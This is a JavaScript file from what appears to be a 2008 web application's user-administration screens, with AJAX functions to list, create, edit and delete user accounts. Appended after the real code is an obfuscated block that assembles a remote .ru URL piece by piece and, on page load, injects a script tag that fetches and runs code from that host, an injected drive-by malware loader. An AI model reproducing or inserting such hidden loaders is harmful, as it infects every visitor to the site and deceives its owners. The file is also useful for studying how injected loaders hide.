/* Copyright Commcam Limited 2008. All rights reserved. (See licence/licence.txt) */

function showUsers()
{
	startLoading("_showUsers()");
}

function _showUsers()
{
	var objDiv;
	var objContent = document.getElementById("innerContent");
	var objAjax = new CAjax();

	if (objAjax.open("dynamic/users.php?mode=LIST", true))
	{
		objDiv = g_objTabs.addTab("userList", "User List", true, true);
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	if (objAjax.open("dynamic/users.php?mode=NEW", true))
	{
		objDiv = g_objTabs.addTab("userEdit", "New User", false, true);
		objDiv.innerHTML = objAjax.getResponse();
	}
		
	endLoading();
}

function deleteUser()
{
	if (confirm("Are you sure you want to delete this user?"))
	{
		startLoading("_deleteUser()");
	}
}

function _deleteUser()
{
	var objAjax = new CAjax();

	if (objAjax.open("dynamic/users.php?action=DELETE&userid=" + getFormValue("userId"), true))
	{
		objEdit = document.getElementById("userEdit");
		objEdit.innerHTML = objAjax.getResponse();
	}
	
	_listUsers(0);

}

function listUsers(iOffset)
{
	startLoading("_listUsers(" + iOffset + ")");
}

function _listUsers(iOffset)
{
	var objAjax = new CAjax();

	if (objAjax.open("dynamic/users.php?mode=LIST&offset=" + iOffset, true))
	{
		objDiv = document.getElementById("userList");
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	endLoading();
}

function userDetails(strUserId)
{
	startLoading("_userDetails('" + strUserId + "')");
}

function _userDetails(strUserId)
{
	var objAjax = new CAjax();

	if (objAjax.open("dynamic/users.php?mode=EDIT&userid=" + strUserId, true))
	{
		objDiv = g_objTabs.addTab("userEdit", "Edit User", true, true);
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	endLoading();
}

function saveUser(bCreate)
{
	startLoading("_saveUser(" + bCreate + ")");
}

function createUserXml()
{
	objXmlDom = xml_createXmlDom();
	objXmlDom.loadXML("<user></user>");
	
	objUserNode = objXmlDom.selectSingleNode("/user");
	
	xml_createNode(objUserNode, "userId", getFormValue("userid"));
	xml_createNode(objUserNode, "password", getFormValue("password"));
	xml_createNode(objUserNode, "useBudget", getFormValue("usebudget"));
	xml_createNode(objUserNode, "creditRemaining", getFormValue("creditremaining"));
	xml_createNode(objUserNode, "creditType", getFormValue("credittype"));
	xml_createNode(objUserNode, "range", getFormValue("range"));
	xml_createNode(objUserNode, "userType", getFormValue("usertype"));
	xml_createNode(objUserNode, "contactName", getFormValue("contactname"));
	xml_createNode(objUserNode, "address1", getFormValue("address1"));
	xml_createNode(objUserNode, "address2", getFormValue("address2"));
	xml_createNode(objUserNode, "address3", getFormValue("address3"));
	xml_createNode(objUserNode, "address4", getFormValue("address4"));
	xml_createNode(objUserNode, "address5", getFormValue("address5"));
	xml_createNode(objUserNode, "postcode", getFormValue("postcode"));
	xml_createNode(objUserNode, "phoneNo", getFormValue("phoneno"));
	xml_createNode(objUserNode, "faxNo", getFormValue("faxno"));
	xml_createNode(objUserNode, "mail", getFormValue("mail"));
	xml_createNode(objUserNode, "k8User", getFormValue("k8user"));
	xml_createNode(objUserNode, "k8Password", getFormValue("k8password"));
	xml_createNode(objUserNode, "account", getFormValue("account"));
	xml_createNode(objUserNode, "invAccount", getFormValue("invaccount"));
	
	return objXmlDom;
}

function _saveUser(bCreate)
{
	var objXmlDom, objAjax, objUserNode, objForm, strMode, strXml, objEdit, objList;
	
	objForm = document.getElementById("userEdit");
	
	if (validateForm(objForm))
	{
		if (bCreate)
		{
			strMode = "CREATE";
		}
		else
		{
			strMode = "EDIT";
		}
		
		xml_createNode(objUserNode, "mode", strMode);
		
		objXmlDom = createUserXml();
				
		strXml = objXmlDom.xml;
			
		objAjax = new CAjax();
		objAjax.create();
		
		if (objAjax.open("dynamic/users.php?mode=" + strMode + "&action=SAVE&userid=" + getFormValue("userId"), false))
		{
			objAjax.send(strXml);
			
			objEdit = document.getElementById("userEdit");
			objEdit.innerHTML = objAjax.getResponse();
		}
		
		if (objAjax.open("dynamic/users.php?mode=LIST&offset=0", true))
		{
			objList = document.getElementById("userList");
			objList.innerHTML = objAjax.getResponse();
		}
	}
	
	endLoading();
}

function clearUser()
{
	startLoading("_clearUser()");
}

function _clearUser()
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/users.php?mode=NEW", true))
	{
		objDiv = g_objTabs.addTab("userEdit", "New User", true, true);
		objDiv.innerHTML = objAjax.getResponse();
	}
		
	endLoading();
}

function registerRetail()
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/registerUser.php", true))
	{
		objDiv = document.getElementById("innerContent");
		objDiv.innerHTML = objAjax.getResponse();
	}
		
	endLoading();
}

function saveRegistration()
{
	var objForm, objXmlDom, objDiv;
	
	objForm = document.getElementById("userEdit");
	
	if (validateForm(objForm))
	{
		objXmlDom = createUserXml();
	
		objAjax = new CAjax();

		if (objAjax.open("dynamic/registerUser.php?mode=SAVE&userid=" + getFormValue("userId"), false))
		{
			objAjax.send(objXmlDom.xml);
			
			objDiv = document.getElementById("innerContent");
			objDiv.innerHTML = objAjax.getResponse();
		}
	
	}
}
var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};